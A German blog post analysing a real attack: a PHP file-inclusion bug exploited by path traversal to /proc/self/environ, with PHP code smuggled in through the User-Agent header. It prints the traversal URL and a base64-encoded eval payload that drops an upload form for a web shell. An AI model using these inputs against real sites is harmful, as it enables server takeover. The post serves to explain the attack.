Posts Tagged ‘ Exploit

Kreativer Hack

Heute ist mir auf der Arbeit ein sehr kreativer Hack untergekommen – also mal nicht der übliche 0815 Kram.

Zunächst ein bisschen Linux Grundwissen: In /proc/process-id gibt es zu jedem laufenden Prozess Informationen über die Umgebung des Prozesses. In der Datei environ in diesem Verzeichnis befinden sich alle Umgebungsvariablen des jeweiligen Prozesses. Außerdem kann jeder Prozess sein eigenes Environment über /proc/self/ erreichen. Für einen normalen PHP-Request sieht das ganze dann ungefähr so aus (merkt euch schon mal, dass hier auch der User Agent also die Kennung des Browsers enthalten ist ;) ):

PATH=/usr/local/bin:/usr/bin:/bin
PHPRCDOCUMENT_ROOT=/Document/Root/
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7
HTTP_ACCEPT_ENCODING=gzip,deflate
HTTP_ACCEPT_LANGUAGE=de,en-us;q=0.7,en;q=0.3
HTTP_CONNECTION=keep-alive
HTTP_HOST=www.example.org
HTTP_KEEP_ALIVE=115
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin
REDIRECT_STATUS=200
REDIRECT_URL=/test.php
REMOTE_ADDR=10.10.10.10
REMOTE_PORT=58628
SCRIPT_FILENAME=/Pfad/zum/php-cgi/Binary/php-cgi
SERVER_ADDR=10.11.10.10
SERVER_ADMIN=webmaster@example.org
SERVER_NAME=www.example.org
SERVER_PORT=80
SERVER_SIGNATURE=<ADDRESS>Apache/1.3.37 Server at www.example.org Port 80</ADDRESS>
SERVER_SOFTWARE=Apache
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/test.php
SCRIPT_NAME=/php5_Handler/php
PATH_INFO=/test.php
PATH_TRANSLATED=/Document/Root/test.php
PHPRC=

Nun wollen wir uns einen Teil der Programmierung des Opfers ansehen. Er hat da in etwas sowas gemacht:

<?php include($pagefolder.$variable.".php"); ?>

Ein legitimer Aufruf der Seite war also http://www.example.org/?variable=admin. Bei diesem Aufruf würde dann die Datei admin.php im Verzeichnis $pagefolder eingebunden.

$variable hat er sich aus dem Request der Seite gezogen und nur unzureichend verifiziert in dem er geschaut hat ob die Datei existiert. Dadurch ließen sich prinzipiell alle Dateien einbinden auf die der User Lese-Zugriff hatte, da man die, von der Programmierung vorgegebene, Dateiendung .php umgehen konnte in dem man am Ende des Dateinamens in der URL die Zeichenfolge %00 also einen null character gesetzt hat.

Es war also auch möglich die am Anfang genannte Datei in /proc durch folgenden Aufruf einzubinden.

http://www.example.org/?variable=../../../../../../../../../../../../../../../../../../../../proc/self/environ

Der Inhalt dieser Datei wurde nun innerhalb des normalen Layouts der Seite ausgegeben und, da das Einbinden innerhalb einer PHP-Datei erfolgte, vom PHP Interpreter ausgeführt. Wenn man also nun irgend wie PHP-Code in diese Datei einschleusen könnte, würde dieser ausgeführt werden.

Auf den ersten Blick scheint es nicht möglich PHP-Code in die Datei /proc/self/environ einzuschmuggeln. Wie oben beschrieben enthält sie jedoch auch die Kennung des Browsers, welche vom Client ohne größere Probleme individuell gesetzt werden kann. Und so ist auch der Angreifer in dem vorliegenden Fall vorgegangen. Er hat seine Browserkennung wie folgt gesetzt.

"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) <?
eval(base64_decode("ZWNobyAnPGRpdj48Zm9ybSBlbmN0eXBlPSJtdWx0aXB
hcnQvZm9ybS1kYXRhIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJmaWxlIi
BuYW1lPSJmaWxlIj48aW5wdXQgdHlwZT1zdWJtaXQgICB2YWx1ZT0iVXBsb2FkI
j48L2Zvcm0+PC9kaXY+JztpZiAoaXNzZXQgKCRfRklMRVNbJ2ZpbGUnXVsndG1w
X25hbWUnXSkpeyAkdGVtcG5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1
lJ107ICRuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107IGlmKGNvcHkoIi
R0ZW1wbmFtZSIsICIkbmFtZSIpKXsgZWNobyAiRmlsZSB1cGxvYWRlZCI7IH0gZ
WxzZSB7IGVjaG8gIkZpbGUgbm90IHVwbG9hZGVkISI7IH0gfQ==")); ?>
Gecko/20090729 Firefox/3.5.2"

Der Base64 kodierte Teil enthält ein Upload-Formular über das der Angreifer am Ende eine PHP-Shell hochgeladen hat und somit Zugriff auf den kompletten Webspace des Opfers hatte.